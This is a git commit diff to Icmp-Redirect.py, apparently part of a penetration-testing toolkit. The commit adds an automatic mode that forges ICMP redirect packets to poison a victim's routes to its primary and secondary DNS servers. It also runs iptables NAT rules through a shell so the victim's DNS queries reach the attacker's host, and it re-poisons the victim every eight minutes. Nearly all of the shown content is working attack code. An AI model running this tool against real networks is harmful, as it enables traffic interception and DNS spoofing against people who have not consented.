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added automatic poisoning mode when a primary and a secondary DNS is specified.

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Lgandx 2013-05-21 14:05:19 -04:00
parent 4112b1cd5d
commit ccbbbe3453
1 changed files with 34 additions and 7 deletions
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41
Icmp-Redirect.py
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@ -15,10 +15,13 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,socket,struct,optparse,random import sys,socket,struct,optparse,random,pipes
from socket import * from socket import *
from odict import OrderedDict from odict import OrderedDict
from random import randrange from random import randrange
from time import sleep
from subprocess import call
from pipes import quote
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0], prog=sys.argv[0],
@ -31,6 +34,8 @@ parser.add_option('-t', '--target',action="store", help="The ip address of the t
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
@ -71,6 +76,7 @@ OriginalGwAddr = options.OriginalGwAddr
AlternateGwAddr = options.AlternateGwAddr AlternateGwAddr = options.AlternateGwAddr
VictimIP = options.VictimIP VictimIP = options.VictimIP
ToThisHost = options.ToThisHost ToThisHost = options.ToThisHost
ToThisHost2 = options.ToThisHost2
Interface = options.Interface Interface = options.Interface
def Show_Help(ExtraHelpData): def Show_Help(ExtraHelpData):
@ -80,8 +86,6 @@ def Show_Help(ExtraHelpData):
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
Show_Help(MoreHelp)
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
("data", ""), ("data", ""),
@ -218,7 +222,7 @@ def ReceiveArpFrame(DstAddr):
print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr) print "[ARP]%s took too long to Respond. Please provide a valid host.\n"%(DstAddr)
exit(1) exit(1)
def IcmpRedirectSock(): def IcmpRedirectSock(DestinationIP):
PrintMac,DestMac = ReceiveArpFrame(VictimIP) PrintMac,DestMac = ReceiveArpFrame(VictimIP)
print '[ARP]Target Mac address is :',PrintMac print '[ARP]Target Mac address is :',PrintMac
PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr) PrintMac,RouterMac = ReceiveArpFrame(OriginalGwAddr)
@ -227,7 +231,7 @@ def IcmpRedirectSock():
Protocol = 0x0800 Protocol = 0x0800
s.bind((Interface, Protocol)) s.bind((Interface, Protocol))
Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac) Eth = Eth2(DstMac=DestMac,SrcMac=RouterMac)
IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=ToThisHost,TTL="\x40",Data=str(DummyUDP())) IPPackUDP = IPPacket(Cmd="\x11",SrcIP=VictimIP,DestIP=DestinationIP,TTL="\x40",Data=str(DummyUDP()))
IPPackUDP.calculate() IPPackUDP.calculate()
ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP)) ICMPPack = ICMPRedir(GwAddr=AlternateGwAddr,Data=str(IPPackUDP))
ICMPPack.calculate() ICMPPack.calculate()
@ -235,6 +239,29 @@ def IcmpRedirectSock():
IPPack.calculate() IPPack.calculate()
final = str(Eth)+str(IPPack) final = str(Eth)+str(IPPack)
s.send(final) s.send(final)
print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,ToThisHost) print '\n[ICMP]%s should have been poisoned with a new route for target: %s.\n'%(VictimIP,DestinationIP)
def FindWhatToDo(ToThisHost2):
if ToThisHost2 != None:
Show_Help('Hit CRTL-C to kill this script')
RunThisInLoop(ToThisHost, ToThisHost2,OURIP)
if ToThisHost2 == None:
Show_Help(MoreHelp)
IcmpRedirectSock(DestinationIP=ToThisHost)
exit()
def RunThisInLoop(host, host2, ip):
dns1 = pipes.quote(host)
dns2 = pipes.quote(host2)
ouripadd = pipes.quote(ip)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True)
print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers."
while True:
IcmpRedirectSock(DestinationIP=dns1)
IcmpRedirectSock(DestinationIP=dns2)
print "[+]Repoisoning the target in 8 minutes..."
sleep(480)
FindWhatToDo(ToThisHost2)
IcmpRedirectSock()